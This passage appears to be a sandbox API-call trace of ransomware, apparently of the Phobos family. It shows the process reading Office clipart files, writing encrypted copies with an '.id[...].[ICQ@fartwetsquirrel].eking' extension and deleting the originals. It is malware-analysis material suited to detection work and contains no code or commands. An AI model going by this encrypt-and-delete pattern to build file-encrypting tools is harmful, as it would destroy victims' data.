hTemplateFile=0x0) returned 0x368 [0273.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0273.023] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2a40, lpOverlapped=0x0) returned 1 [0273.300] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2a50, lpOverlapped=0x0) returned 1 [0273.303] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.303] CloseHandle (hObject=0x368) returned 1 [0273.303] CloseHandle (hObject=0x358) returned 1 [0273.303] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0 [0273.304] SetEvent (hEvent=0x2b8) returned 1 [0273.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0273.309] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16396) returned 1 [0273.309] CloseHandle (hObject=0x358) returned 1 [0273.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0273.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0273.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0273.310] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.310] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0273.311] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x400c, lpOverlapped=0x0) returned 1 [0273.397] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4010, lpOverlapped=0x0) returned 1 [0273.398] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.399] CloseHandle (hObject=0x358) returned 1 [0273.399] CloseHandle (hObject=0x368) returned 1 [0273.399] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0 [0273.399] SetEvent (hEvent=0x2b8) returned 1 [0273.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.402] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4796) returned 1 [0273.402] CloseHandle (hObject=0x368) returned 1 [0273.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0273.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0273.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.402] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.402] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0274.063] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x12bc, lpOverlapped=0x0) returned 1 [0274.095] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x12c0, lpOverlapped=0x0) returned 1 [0274.096] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0274.097] CloseHandle (hObject=0x368) returned 1 [0274.097] CloseHandle (hObject=0x3b0) returned 1 [0274.097] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0 [0274.097] SetEvent (hEvent=0x2b8) returned 1 [0274.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0274.098] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1472) returned 1 [0274.098] CloseHandle (hObject=0x3b0) returned 1 [0274.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0274.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0274.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0274.100] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.100] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0274.102] ReadFile (in: hFile=0x3b0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5c0, lpOverlapped=0x0) returned 1 [0274.104] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5d0, lpOverlapped=0x0) returned 1 [0274.106] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0274.106] CloseHandle (hObject=0x3b0) returned 1 [0274.106] CloseHandle (hObject=0x368) returned 1 [0274.107] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0 [0274.107] SetEvent (hEvent=0x2b8) returned 1 [0274.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0274.108] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5260) returned 1 [0274.108] CloseHandle (hObject=0x368) returned 1 [0274.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0274.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0274.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0274.109] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.110] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0274.111] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x148c, lpOverlapped=0x0) returned 1 [0274.113] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1490, lpOverlapped=0x0) returned 1 [0274.114] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0274.114] CloseHandle (hObject=0x368) returned 1 [0274.115] CloseHandle (hObject=0x3b0) returned 1 [0274.115] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0 [0274.115] SetEvent (hEvent=0x2b8) returned 1 [0274.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0274.116] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=896) returned 1 [0274.116] CloseHandle (hObject=0x3b0) returned 1 [0274.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0274.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0274.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0274.118] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.118] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0274.119] ReadFile (in: hFile=0x3b0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x380, lpOverlapped=0x0) returned 1 [0274.121] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x390, lpOverlapped=0x0) returned 1 [0274.123] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0274.123] CloseHandle (hObject=0x3b0) returned 1 [0274.123] CloseHandle (hObject=0x368) returned 1 [0274.123] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0 [0274.124] SetEvent (hEvent=0x2b8) returned 1 [0274.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0274.126] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=752) returned 1 [0274.126] CloseHandle (hObject=0x368) returned 1 [0274.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0274.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0274.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0274.446] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.447] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0274.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x288 [0274.448] ReadFile (in: hFile=0x284, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2f0, lpOverlapped=0x0) returned 1 [0274.449] WriteFile (in: hFile=0x288, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x300, lpOverlapped=0x0) returned 1 [0274.451] WriteFile (in: hFile=0x288, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0274.451] CloseHandle (hObject=0x284) returned 1 [0274.451] CloseHandle (hObject=0x288) returned 1 [0274.451] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0 [0274.451] GetProcessHeap () returned 0xc10000 [0274.452] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0x39021a0 [0274.452] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.452] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0274.452] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0274.452] GetProcessHeap () returned 0xc10000 [0274.452] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39021a0 | out: hHeap=0xc10000) returned 1 [0274.452] SetEvent (hEvent=0x2bc) returned 1 [0274.452] SetEvent (hEvent=0x2b8) returned 1 [0274.452] SetEvent (hEvent=0x2c0) returned 1 [0274.452] GetProcessHeap () returned 0xc10000 [0274.452] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x346e020 | out: hHeap=0xc10000) returned 1 [0274.712] GetProcessHeap () returned 0xc10000 [0274.712] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d6d8 | out: hHeap=0xc10000) returned 1 [0274.712] GetProcessHeap () returned 0xc10000 [0274.712] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xce9df0 | out: hHeap=0xc10000) returned 1 [0274.712] GetProcessHeap () returned 0xc10000 [0274.712] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3360048 | out: hHeap=0xc10000) returned 1 Thread: id = 67 os_tid = 0xd40 [0212.313] GetProcessHeap () returned 0xc10000 [0212.313] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3370930 [0212.313] GetProcessHeap () returned 0xc10000 [0212.314] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3380938 [0212.314] GetProcessHeap () returned 0xc10000 [0212.314] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc4d708 [0212.314] GetProcessHeap () returned 0xc10000 [0212.314] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x110102) returned 0x3580020 [0212.319] GetProcessHeap () returned 0xc10000 [0212.319] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xca3d50 [0212.319] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0212.319] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 